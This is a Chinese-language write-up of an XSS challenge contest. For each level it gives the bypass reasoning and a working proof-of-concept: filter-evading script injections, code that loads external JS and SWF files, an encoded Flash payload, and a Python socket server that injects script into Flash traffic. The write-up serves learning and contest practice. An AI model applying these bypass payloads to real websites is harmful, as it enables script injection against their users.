本次比賽參與人數3700多人,提交并獲得了分數的正確答案共有1069條。最終有65名參賽者獲得了獎品,一、二、三名分別由p.z,piaca和香草獲得。答題結果的總體分布如下:
年齡越來越大,記性越來越差。就當做筆記吧(所有 POC 都只是為了通關)。
這一關沒什么可說的,直接給出 POC:
http://sandbox.host.smartgslb.com/fb0/xss1.php?code=</script><svg/onload=alert(1)//
這一關只有有個坑就是 正則
name=name.replace(/</,"<");
replace 沒有使用全局 g 參數,造成只會替換字符串中的第一個 "<" 符號,所以這關的 POC:
http://sandbox.host.smartgslb.com/fb1/#code=<<svg/onload=alert(1)>
這一關訪問很明顯就是一段 js 代碼,只是去掉了 <script>
, 直接輸入到頁面上,但是通過 func 參數可以控制頁面上的兩個點。由于 POC 要求 chrome 有效,所以最初一直停留在繞 chrome 的 XSS Auditor 上了,浪費不少時間。后面重新換個思路,利用兩個輸出點,結合當前頁面內容,通過下面 POC 過關:
http://sandbox.host.smartgslb.com/fb2/?func=';alert(1);</script><script>tpl={'
這一關比較簡單,繞過對 page 的檢測,加載一個外域的 JS 文件,直接給 POC:
http://sandbox.host.smartgslb.com/fb3/?page=//test.com/1
這一關的表單提交是用來迷惑的,重點在 eval,POC:
http://sandbox.host.smartgslb.com/fb4/?key=#";alert(1);"
這關的利用點是頭像,表單提交,在 pic 中提交如下 POC:
upic=./img/head_2.png' onload=alert(1) '
這一題最主要的就是換行符,在 XSS挑戰第二期 Writeup 中有提到,記性不好,以至于卡了很久。
這里有個關鍵的地方就是 xss6.js
中的:
var SERVER_TEMP = $.Tjs_HtmlEncode(str.replace(/.*\?/,"")); //HtmlEncode 進行安全驗證
這行代碼讓我們對 ? 失去了幻想,還記得 FB-01
里面的那個正則么,這里很神似,但是卻更狠。所以我們需要一個換行符,普通的 %0D%0A 是不行的,所以這里需要 

,由于 chrome 不能直接在瀏覽器中插入這個符號,所以我們通過一個 iframe 來引用它:
<iframe src="http://sandbox.host.smartgslb.com/fb6/xss6.htm#?
&uin=..&pn=user.php?callback=dodo#"></iframe>
user.php 這個 callback 接口有限制,還需要繞過這里的限制才能夠執行 JS 代碼,經過測試程序對幾乎所有可以執行代碼的關鍵字進行了過濾,但是對 [ ] ( ) . 等沒有進行限制,可以通過下面的方法來繞過:
this[17795081..toString(36)](1)
最后的 POC:
<iframe src="http://sandbox.host.smartgslb.com/fb6/xss6.htm#?
&uin=..&pn=user.php?callback=this[17795081..toString(36)](1)#"></iframe>
這一題需要的技巧真是不少,經過 pz 大牛的指點才過關的。 仔細看代碼,思路就會很明確,就是要想辦法執行下面的代碼:
document.getElementById("username").innerHTML = '<a + uid + '" target=_blank> 小白 </a>';
但是過程不容易,表面上需要解決下面兩個難點:
但是實際上如何解決呢,先來看第一個 jsDesert。頁面執行下來,先去通過 DOM 去改變 iframe 的 src 為:http://appmaker.sinaapp.com/stat.php,這個頁面中嵌入一段 JS 代碼,我們能夠通過 man 參數控制頁面的一部分內容,這里是關鍵。
穿插一下:瀏覽器有個特性,支持直接以 id 或者 name 屬性值獲取元素,各瀏覽器之間會有差異,但是對于 IFRAME 幾乎所有的瀏覽器都一樣,詳細的可以參考 各瀏覽器中對直接以 id 或者 name 屬性值獲取元素存在差異。
所以我們只要能夠控制 id 為 x 的 IFRAME 的 name,把值設置為 jsDesert,JS 就能夠通過 jsDesert 直接獲取到 IFRAME,這樣 jsDesert 就不為 undefined。怎么設置呢?在 IFRAME 中我們能夠執行有限的 JS 代碼,但是賦值還是可以的,所以通過 window.name=jsDesert 就可以,事實上程序對長度有限制,如果使用 window.name 會超出長度限制,所以通過 self.name 繞過,也就是下面的 URL:
http://sandbox.host.smartgslb.com/fb7/?man=';self.name='jsDesert&uid=1
這樣,include 才不會報錯,繼續執行,加載另外一個 callback 文件:http://appmaker.sinaapp.com/nick.php。這個 callback 文件我們要控制 func,這里通過 #
來讓程序使用我們的 func。
http://sandbox.host.smartgslb.com/fb7/?man=';self.name='jsDesert&uid=1&func=x#
但是要想讓 jsDessert[j0] 不為 false,可以通過 func 為 jsDessert 來覆蓋掉 jsDessert,這樣 jsDessert[j0] 為 undefined 同樣不為 false。但是 func 有過濾策略,經過測試可以通過 self.jsDessert 來繞過,下面鏈接看效果:
http://sandbox.host.smartgslb.com/fb7/?man=';self.name='jsDesert&uid=1&func=self.jsDessert#
到這里,POC 就很容易了:
http://sandbox.host.smartgslb.com/fb7/?man=';self.name='jsDesert&uid=1&func=self.jsDessert#">
<iframe/onload=alert(1)>
這題沒解出來,結束后問 sogili,他說了兩個字 刷新 ,好吧,無限刷新下面的 POC,總會彈的:
http://sandbox.host.smartgslb.com/fb8/index.php?vul=alert(1);
反編譯 Flash ,在代碼中可以看到,從 mp3 的 ID3 中取出的 songName 數據,進入到了 ExternalInterface.call 中,并且 mp3 文件受控于 mp3 參數。所以指定一個 mp3 文件,把 ID3 中的 songName 修改為 payload:
\"));alert(1);}catch(e){}//
POC為:
http://sandbox.host.smartgslb.com/flash_1/XSSC1.swf?mp3=http://test.com/1.mp3
Flash 類的題目從這題開始就都比較坑了,仍然反編譯 Flash。經過一番那啥代碼之后我們大概總結一下:
又經過一番那啥代碼,有了新的收獲:
思路明確,后面就需要搞定 urlEncode,根據這段函數寫出下面的函數:
a = "\\\"});alert(1);//";
str = ""
for(i=0;i<a.length;i++){
s = (((a.charCodeAt(i) - 1) % 127) - 10).toString(16);
str = str + "%" + s;
}
console.log(str);
得到 payload 為:
%51%17%72%1e%30%56%61%5a%67%69%1d%26%1e%30%24%24
最終的 POC 為:
http://sandbox.host.smartgslb.com/flash_2/?%51%17%72%1e%30%56%61%5a%67%69%1d%26%1e%30%24%24&initfunc=document.mycontent.trace
先說依據,這一題光圖案我就對了好久。仍舊是反編譯 Flash。通過代碼看到 Flash 可以加載一個我們可控的 Flash,只有當 img 的 width 和 height 值分別為 200 和 300 的時候才會把 XML 中的數據進入到 htmltext 中,so 我就開始瘋狂調整 XML 中的參數,以達到過關目的。但是 width 和 height 是會受 xscale 和 yscale 影響的,在 Flash 代碼中對這兩個值做了限制就是不能大于 0.8,怎么調整 XML 中的這幾個值都無法達到想要的效果,無意中把 width 和 height 值設置為 200 和 300,把 xscale 和 yscale 這兩個值設置為 -1,結果竟然它就它就它就......
所以 POC 為:
http://sandbox.host.smartgslb.com/flash_3/?url=//test.com/1.xml
XML 文件的內容為:
<pkav>
<rect width="200" height="300" xscale="-1" yscale="-1" rotate="-180">
<successMsg>
<![CDATA[
<img src='http://xsst.sinaapp.com/Xss.swf'>
]]>
</successMsg>
</rect>
</pkav>
這一題我最初是直接跳過,到最后才搞定的。還是反編譯 Flash,通過分析代碼看到 hostName 可以指定 Flash socket 連接的服務器,就去 google 了 Flash socket 相關的資料。
結合 html 中的提示 xss with clickjacking
和經過一番那啥代碼和坑之后有了大概的思路:
用戶登陸
)先構建 Flash socket policy server,這個 google 下有現成的代碼,可以參考下面連接的 python 代碼:
http://114.215.178.29/static/projects/newgis.2013/etc/flex_socket_policy/flashpolicyd.py
這個服務運行在 843 端口上,策略文件的內容為:
<?xml version="1.0"?><cross-domain-policy><site-control permitted-cross-domain-policies="all"/><allow-access-from domain="*" to-ports="*" /></cross-domain-policy>
其次構建 Flash socket server,用于向 Flash 發送 payload,這里我首先通過一個 python echo server,運行在 6700 端口,觀察 Flash 和該 socket server 通信的內容。經過來回倒騰兩次大概知道了規律,所以更改了 python 代碼,在接收到 Flash 發送過來的數據后直接修改最后的一部分數據為 payload,然后再發送到 Flash 上,代碼如下:
#!/usr/bin/env python
import socket
host = ''
port = 6700
backlog = 5
size = 1024
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
s.bind((host,port))
s.listen(backlog)
while 1:
client, address = s.accept()
data = client.recv(size)
if data:
client.send(data[:-26] + "\\\"));}catch(e){alert(1)}//")
client.close()
把上面兩個服務運行起來后,就有了 POC:
http://sandbox.host.smartgslb.com/flash_4/XSSC4.swf?hostName=test.com
訪問上面 POC,點擊 用戶登陸
即可。
這題過關的思路很清晰,就是通過 addChild 加載一個外部的 Flash 文件,但是如果加載呢,有難度。
html 頁面傳入兩個參數 url 和 callback,url 就是傳入到 Flash 中用 addChild 去加載,但是看了下 html 中對 url 的檢測和過濾代碼,幾乎無望。希望只能夠寄托到 callback 上。
仔細理了一下整個過程,url 和 callback 這兩個參數組裝成 JS 中的 data 對象,callback 可控的是對象的一個鍵值,那思路就應該是用 callback 去覆蓋掉前面的 url,達到目的。如何覆蓋呢,又陷入困境。
通過 IE 的 JS 調試器,一步一步的跟蹤,看下數據的整個處理流程,發現了亮點。data 是一個對象,進入到 Flash 中是要轉換成 XML 的,轉換的主要函數為:
function __flash__objectToXML(obj) {
var s = "<object>";
for (var prop in obj) {
s += "<property id=\"" + prop + "\">" + __flash__toXML(obj[prop]) + "</property>";
}
return s+"</object>";
}
看到兩點了么,通過遍歷對象,然后把鍵和值生成一個 XML 值,在函數中是不對對象的健做任何處理的,正常頁面中的 data 為:
data={"url":".\/o.png","pkav":"pkav"};
經過處理后的 XML 值為:
<object><property id="url"><string>./o.png</string></property><property id="pkav"><string>pkav</string></property></object>
我們把 callback 修改為:
url"><string>http://xsst.sinaapp.com/Xss.swf</string></property><property id="x
data 就變成了:
var data={"url":".\/o.png","url\"><string>http:\/\/xsst.sinaapp.com\/Xss.swf<\/string><\/property><property id=\"x":"pkav"};
經過處理后的 XML 值為:
<object><property id="url"><string>./o.png</string></property><property id="url"><string>http://xsst.sinaapp.com/Xss.swf</string></property><property id="x"><string>pkav</string></property></object>
有兩個 url,Flash 會認為最后一個 url 有效。這樣就有了 POC:
http://sandbox.host.smartgslb.com/flash_5/?url=./o.png&callback=url"><string>http://xsst.sinaapp.com/Xss.swf</string></property><property id="x